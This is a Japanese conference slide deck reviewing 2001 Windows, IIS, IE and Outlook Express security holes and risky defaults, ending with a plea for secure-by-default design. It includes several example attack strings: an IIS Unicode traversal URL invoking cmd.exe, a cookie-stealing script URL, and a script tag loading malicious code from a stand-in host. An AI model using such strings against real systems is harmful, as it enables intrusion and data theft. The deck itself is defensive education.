2001 年喪中の旅

2001: A MOURNING ODYSSEY

小島 肇 kjm@rins.ryukoku.ac.jp
龍谷大学理工学部 / JWNTUG event-wg

今日のお話

- 今年話題になったセキュリティ脆弱性
- 今年話題になった仕様
- ちょっとした考察

今年話題になった
セキュリティ脆弱性

「Web サーバフォルダへの侵入」脆弱性 (MS00-078)

- **別名**: UNICODE BUG
- **類似**: MS00-086 (IIS 5.0), MS01-026 (IIS 4.0/5.0)
- **使用例**: sadmind/IIS, Nimda
- **影響**: remote **から** local SYSTEM (IIS 4.0) / IUSR_hostname (IIS 5.0) **権限でシェルコマンドを実行できる**
- **実行例**:
  - http://***.jp/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

Java VM による ActiveX コンポーネントの脆弱性 (MS00-075)

- JavaScript 経由で「スクリプトを実行しても安全だとマークされていない Active X コントロール」を含む ActiveX コントロールを実行できる。
- 使用例: プライスロト事件
  - web サイト「プライスロト」に仕掛けられた悪意ある JavaScript により、プライスロトにアクセスした PC が起動不能に
- 詳細情報: IE 5.5/Outlook security vulnerability – com.ms.activeX.ActiveXComponent allows executing arbitrary programs (Guninski 氏)
  http://www.guninski.com/javaea.html
- 対策: 最新の Java VM にするなど
  http://www.microsoft.com/java/vm/dl_vm40.htm

IE が MIME encode された添付ファイルを自動実行 (MS01-020)

- **利用例**: Nimda, Aliz, Badtrans.B
- **詳細情報: 他力本願堂本舗の** Windows Security **実験十四**
  http://tarikihongandou.shadowpenguin.org/
- **ダイアログが一切出ず、添付されたペイロード** (.exe **ファイルなど) がいきなり実行されてしまう**
- Web **ページおよび電子メール経由で攻撃可能**
  - **見ただけでヤラレてしまう**
- hotfix, **あるいは** IE 5.01 SP2, 5.5 SP2, 6 (**標準インストール以上**) **で** fix
  - **雑誌添付** CD **に長らくついていたのは** IE 5.5 **無印**

IPP ISAPI extension の buffer overflow 脆弱性 (MS01-023)

- IPP - Internet Printing Protocol
  - lpr に替わる標準をめざすプリントプロトコル
- 対象: IIS 5.0
- 影響: remote から local SYSTEM 権限で任意のコードを実行可能
- 実例: eEye 作成のコンセプトコード
  http://www.eeye.com/html/Research/Advisories/AD20010501.html

Exchange 5.5/2000 + OWA でスクリプト実行 (MS01-030)

- OWA - Outlook Web Access
- 脆弱性そのものではなく、提供された hotfix のでき具合が問題に
  - 最初の hotfix を適用すると Exchange がダウン
  - 2 回目の hotfix でも直らない
  - 3 回目の hotfix でようやく収束
  - 電子メールはもはやインフラなのに…
- hotfix の適用にはテストは不可欠?
  - テストしている間に攻められたらどうするの?
  - どれくらいテストすればいいの?

Index Server ISAPI extension buffer overflow (MS01-033)

- **対象**: Index Server 2.0, Windows 2000 **の**Index Service
- **影響**: IIS **を経由して、**remote **から** local SYSTEM **権限で任意のコードを実行可能**
- **使用例**: CodeRed, CodeRed II
  - **世界中の脆弱な** IIS **に爆発的に感染**
    - » Windows 2000 Pro. **に** IIS **をプリインストールして販売したメーカがあり、**IIS **が稼動していることを知らないまま使用しつづけ感染する事例も**
    - » **自宅で** CodeRed **に感染した** note PC **をそのまま社内に持ち込んだためにイントラネットが壊滅した事例も**
  - **ダイアルアップ /** DSL **ルータなどにも被害が波及**

最近の Internet Explorer 関連

- ドットなし IP アドレスにより web ページがイントラネットゾーンで処理されてしまう (MS01-51)
  - http://3539469554/ (www.port139.co.jp) がイントラネットゾーンに
  - hotfix を適用しても、http://3539469544%2f なら依然としてイントラネットゾーン (根暗井氏)
    - » テストしてるの?
- cookie データが、スクリプトを介し漏洩または変更される (MS01-055)
  - about://www.hogehoge.jp/<script language=JavaScript>alert(document.cookie);</script>
  - 当初「高」だったリスク表示が一旦「中」に変更され、さらにクライアントについてだけ「高」に戻される
    - » Microsoft 内部のリスク評価体制はどうなっているのか

最近の Outook Express 関連

- text/plain な mail に記述された JavaScript が実行されてしまう (OE 5.5)
  - http://www.geocities.co.jp/SiliconValley/1667/index.htm
  - 文字数制限を突破する方法あり:
    <script src="http://example.com/malicious.js"></script>
    http://memo.st.ryukoku.ac.jp/archive/200111.month/2012.html
- とある文字列を記述するとハングアップ
  - <" http://www.testtest.jp/ "@www.testtest.jp>

今年話題になった仕様

Cache Corruption on Microsoft DNS Servers (CERT IN-2001-11)

- Windows NT 4.0/2000 の DNS Server は、デフォルトでは、委任されていないサーバからの変な glue レコードを受け入れて cache に入れてしまう。
- これにより cache が汚染され、結果としてユーザを偽サーバ、誤ったサーバに誘導してしまう。
- **極めて危険であるにもかかわらず、これがデフォルト動作 (なぜ?)**
- 対応: JP241352: DNS キャッシュ破壊の防止策
  - あるいは DNS サーバを bind for NT (8.2.5, 9.2) に
    - » http://www.isc.org/products/BIND/

継承されてきた「パソコン文化」

- サーチパスの先頭がカレントディレクトリ
  - DLL 読み込み
    - » Nimda が利用
  - コマンド検索パス
    - » 偽コマンド実行
- C:¥ = everyone フルコントロール
  - C:¥Inetpub が変なのはこれが原因
    - » IUSR_hostname 権限でも書き換えが可能
    - » 紅いお客さんや Worm にヤラレ放題
  - Windows XP でようやくまともに

JavaScript (JScript)とクリップボード

- Windows での JScript (JavaScript を意味する Microsoft 用語) においては、インターネットゾーンに設置された web サーバ上の JScript から、ローカルコンピュータのクリップボードの内容を読み書きすることができてしまう。
- Netscape の JavaScript 実装や Java セキュリティモデルにおいてはもちろん禁止されている。
- 実は Mac 版 IE においても禁止されている。

JavaScript (JScript)とクリップボード (cont.)

- IE 4.x for Windows においては、クリップボード読み書き機能は「セキュリティ脆弱性」であるとされ、クリップボード操作を禁止する hotfix が公開された。
- IE 5.x for Windows においては、なぜか「スクリプトによる貼り付け処理の許可」という「機能」に変化し、しかもデフォルト値は「有効にする」(制限付きサイトゾーンを除く)。
- よって、悪意ある web サイトは JScript 経由でクリップボードをいじくりまくることが可能。
- IE 6 においても状況は変化せず。
- この機能が誰にとってうれしいのか、実は誰にもわからない模様。

パスワードなしで設定される管理者アカウント

- SQL Server
  - sa
  - 案の定 worm に狙われる羽目に
- Windows XP Home Edition
  - administrator
  - 通常状態ではその存在すら認識できず
  - safe mode でびっくり

ちょっとした考察

2001 年の攻撃傾向

- Windows をターゲットとした自動攻撃
  - 弱点だらけの IIS、見るだけで効く IE 脆弱性
  - メールの添付ファイルをクリックしなけりゃならない攻撃はもう古い (十分有効ですが…)
- (D)DoS 攻撃プラットホームとしても、UNIX ではなく Windows が使われるようになってきた
  - http://www.cert.org/archive/pdf/DoS_trends.pdf
  - さまざまな弱点をついて、あるいは virus を利用して攻撃プログラムを植え付ける
  - IRC を利用して制御
- これからも減ることはないだろう
  - シェアがめちゃめちゃ落ちたりしない限り (^^;;)

直ってきた問題

- 日米の情報提供、hotfix 時差
  - ほぼ解消か?!
  - Media Player 方面はちょっと遅いぞ
- hotfix のあてわすれ
  - 累積的 hotfix
  - HFNetChk
- buffer overflow
  - VisualStudio.Net には buffer overflow 対策が入るらしい
  - heap buffer overflow にまで対応できるのか?

直ってきた問題 (cont.)

- 未知の attack 対策
  - URLScan
    - » query 文字列も check したいな
    - » GUARD3 も併用しよう
      http://www.trusnet.com/tools/guard3/index.html
  - Windows XP のパーソナルファイアウォール機能
    - » outgoing は素通し
    - » ip filter / ipfw / iptables みたいな、スクリプトでさくっと設定できるフィルタがほしいなあ
- デフォルトインストールを硬くする
  - IISLockdown
  - .Net サーバはデフォルトでは止めまくりらしい

がんばれば直る問題

- path 問題
  - DLL, コマンド検索パス
  - レジストリ設定などで off になるようにできないか
  - C:¥ がようやくまともになったように
- JavaScript からのクリップボードアクセスは誰のための仕様なのか
  - Netscape 4/6, Mac 版 IE からは使えないのに
  - インターネットゾーンだけでもデフォルト off にすべき
- デフォルト値の重要性
  - アプリ屋はデフォルト状態でしか check しない
  - ふつう KB なんか見ない (pro ですら!)

Secure by default

- 掛け声だけでどうにかなるもんじゃない
  - 思想を変える必要あり
  - ユーザからの要求をあえて無視する勇気
  - バランス感覚
- IPv6 時代間近
  - やっぱり Windows も使われるだろう多分
  - 家電、車、…なんでもつながるらしい (?!)
  - 家ごと hack されたり車の navigation が DoS されてはたまらない
- Microsoft の社会的責任はますます重くなる
  - 王道を歩んでいただきたい

プレゼンテーションはこれでおわりです

Appendix

参照 URL - Microsoft

- Microsoft Technet セキュリティセンター
  - 英語版:
    - » http://www.microsoft.com/technet/security/
  - 日本語版:
    - » http://www.microsoft.com/japan/technet/security/
  - セキュリティツール (HFNetChk, URLScan など):
    - » http://www.microsoft.com/japan/technet/security/tools/tools.asp
- Security Bulletin: MSxx-xxx
  - 英語版:
    - » http://www.microsoft.com/technet/security/bulletin/MSxx-xxx.asp
  - 日本語版:
    - » http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MSxx-xxx

参照 URL - Microsoft

- Microsoft サポート技術情報 (Knowledge Base)
  - 英語版 (Qxxxxxx):
    - » http://www.microsoft.com/technet/support/kb.asp?ID=xxxxxx
  - 日本語版 (JPxxxxxx, Jxxxxxx):
    - » http://www.microsoft.com/japan/support/kb/artivles/JPxxx/x/xx.htm
      http://www.microsoft.com/japan/support/kb/artivles/Jxxx/x/xx.htm

参照 URL – web page

- US CERT/CC (英語)
  - » http://www.cert.org/
  - – CERT/CC Incident Notes
    - » http://www.cert.org/incident_notes/
- CIAC (英語)
  - » http://www.ciac.org/
- JPCERT/CC
  - » http://www.jpcert.or.jp/
- IPA セキュリティセンター
  - » http://www.ipa.go.jp/security/

参照 URL – web page

- JWNTUG (じゃんたぐ)
  - » http://www.jwntug.or.jp/
- port139
  - » http://www.port139.co.jp/
- Win セキュリティ虎の穴
  - » http://winsec.toranoana.ne.jp/
- セキュリティホール memo
  - » http://www.st.ryukoku.ac.jp/~kjm/security/memo/
- ZDNet Helpdesk Security How-To
  - » http://www.zdnet.co.jp/help/howto/security/

参照 URL –メーリングリスト

- BUGTRAQ (英語)
  - » http://www.securityfocus.com/
- NTBUGTRAQ (英語)
  - » http://www.ntbugtraq.com/
- セキュリティホール memo ML
  - » http://memo.st.ryukoku.ac.jp/
- Security Talk ML
  - » http://www.office.ac/Security_Talk_ML_Guide.html
- 24 時間常時接続 ML
  - » http://cn24h.hawkeye.ac/connect24h.html
- port139 ML (新規加入休止中)
  - » http://www.port139.co.jp/ntsec_ml.htm